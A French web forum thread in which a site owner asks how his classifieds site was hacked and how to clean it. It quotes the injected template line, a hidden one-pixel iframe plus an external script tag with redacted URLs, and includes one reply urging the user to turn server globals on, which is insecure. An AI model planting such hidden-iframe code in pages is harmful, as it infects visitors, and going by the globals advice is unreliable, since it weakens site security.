Site piraté

[lechtimi]

Bonjour
Voilà j’ai mon site de petites annonces qui est piraté depuis une semaine (je n’ais pas fait de mise à jour du script et maintenant je ne peux plus en faire car certaines parties du site on changées, je dis cela pour les personnes qui utilisent ce script). Bref, le hacker arrive jusque .../admin/config/templates_news/ et il met sur template.tpl cette ligne (<div id="stats" style="visibility:hidden;" width='1' height='1'><iframe src ="http://www......com" frameborder='0' height='1' width='1'></iframe></div> <script type="text/javascript" src="http://...."></script>) qui a pour but de faire une redirection sur un autre site.
Donc j’aurais quelques questions :
- est ce normal que l’on puisse arrivé à .../admin/config/templates_news/ aussi facilement, si non comment faire pour remédier à cela
- Comment le gars à pus insérer cette ligne dans template.tpl, j’ais lu dans certain site que c’est une injection SQL ? Si c’est une injection, par où est il obligé de passé (login, enregistrement…ou une autre entrée)
Merci

 

[Bacteries]

Si c'est une injection SQL c'est normalement via un formulaire.

Après tout dépend ce qu'il a obtenu comme info ou ceux à quoi ila accès.
Mais si une injection permet de mettre du code PHP, on peut imaginer qu'il a mis du code qui va modifier un fichier tpl.

 

[lechtimi]

Donc si je retire tous les formulaires (login, enregistrement, ect..) il ne peut plus rien faire ? Je demande cela car je refais un nouveau répertoire petites annonces (avec le derniere mise à jour) mais je ne voudrais pas perdre toutes les anciennes annonces

 

[Jeviensderio]

Changer les scripts, effacer tous les fichiers PHP sur le serveur, et changer les codes d'accès pour plus de précautions. Et voir le contenu de la base. Un peu de distraction en perspective.

 

[Bool]

Les injections SQL au contraire sont souvent "faisables" sur la quasi totalité des pages utilisant des entrées utilisateurs ($_GET, $_POST, $_COOKIE, voir même certaines variables $_SERVER).

Mais une injection SQL permet d'exécuter du SQL... pas d'exécuter du PHP. Du moins pas directement.


Le soucis c'est qu'une fois que le pirate a eu l'accès, il a très probablement tes logins et mot de passe SQL... qui sont souvent les mêmes que le FTP (c'est con, mais c'est comme ça chez la plupart des hébergeurs). De même, il a parfaitement eu le temps d'installer une "backdoor" afin de récupérer l'accès même si tu changes les mots de passe...

 

[Leonick]

Changer les scripts, effacer tous les fichiers PHP sur le serveur

je sauvegarderais tous les fichiers distants, avant de les effacer. Car il faut voir ce qui a été modifié et sécuriser pour que ça n'arrive plus

Mais une injection SQL permet d'exécuter du SQL... pas d'exécuter du PHP. Du moins pas directement.

en fait, un formulaire mal sécurisé, si tu lui tapes du code php et qu'à l'affichage il n'est pas non plus sécurisé, tu te retrouve à faire exécuter du php :cry:

 

[KOogar]

Ferme tous tes fichiers .tpl en écriture, puis si tu peux, passe les globals de ton serveur a ON.
Evite les scripts open source si c'est ton cas, trop de cheats, surtout dans les annonces. C'est peut etre un concurrent qui exploite une faille du script... pas besoin d'avoir les acces -ftp pour lancer un script foireux, lui ajouter 1 variable et mettre a jour ton .tpl...

 

[Bool]

en fait, un formulaire mal sécurisé, si tu lui tapes du code php et qu'à l'affichage il n'est pas non plus sécurisé, tu te retrouve à faire exécuter du php :cry:

yep, mais ça n'a rien à voir avec une injection SQL pour le coup :roll:

 

[lechtimi]

Salut
Merci de vos réponse mais dur pour moi
Soit pour l'instant je vais essayer de retirer toutes les pages à inscription(login,member....)
Comment voir si il a mit une "backdoor"

 

[Dan_A]

Ce problème n'a sans doute rien à voir avec une injection SQL.
Dans ma base de données sur les failles connues de CMS, il y a à ce jour 195 failles exploitées par des zombies au niveau du répertoire admin et ses sous répertoires.
Le mieux, c'est de récupérer ce qui peut l'être, tout effacer et mettre à jour régulièrement son CMS en priant pour ne pas victime d'un zero-day exploit.
Le gros problème c'est que ces zombies placent du code qui risque d'infecter les visiteurs afin d'étendre le botnet.

 

[Leonick]

en fait, un formulaire mal sécurisé, si tu lui tapes du code php et qu'à l'affichage il n'est pas non plus sécurisé, tu te retrouve à faire exécuter du php :cry:

yep, mais ça n'a rien à voir avec une injection SQL pour le coup :roll:

pour modifier du contenu de scripts, c'est bien autre chose que de la simple injection SQL

 

[KOogar]

en fait, un formulaire mal sécurisé, si tu lui tapes du code php et qu'à l'affichage il n'est pas non plus sécurisé, tu te retrouve à faire exécuter du php :cry:

yep, mais ça n'a rien à voir avec une injection SQL pour le coup :roll:

pour modifier du contenu de scripts, c'est bien autre chose que de la simple injection SQL

Eventuellement tu pourrais injecter du code qui modifie 1 fichier .tpl mais dans son cas c'est encore plus simple. Les programmeurs utilisent souvent des sous routines dans des fichiers a part et ils sont non protégés par des sessions. Tant que personne n'a le source, on s'en fou, mais quand le source est public il y a danger.

 

[Bool]

pour modifier du contenu de scripts, c'est bien autre chose que de la simple injection SQL

Dialogue de sourds... c'est justement ce que je dis depuis le début : ceci n'a rien à voir avec une injection SQL, contrairement à ce qui est évoqué dans les premiers posts.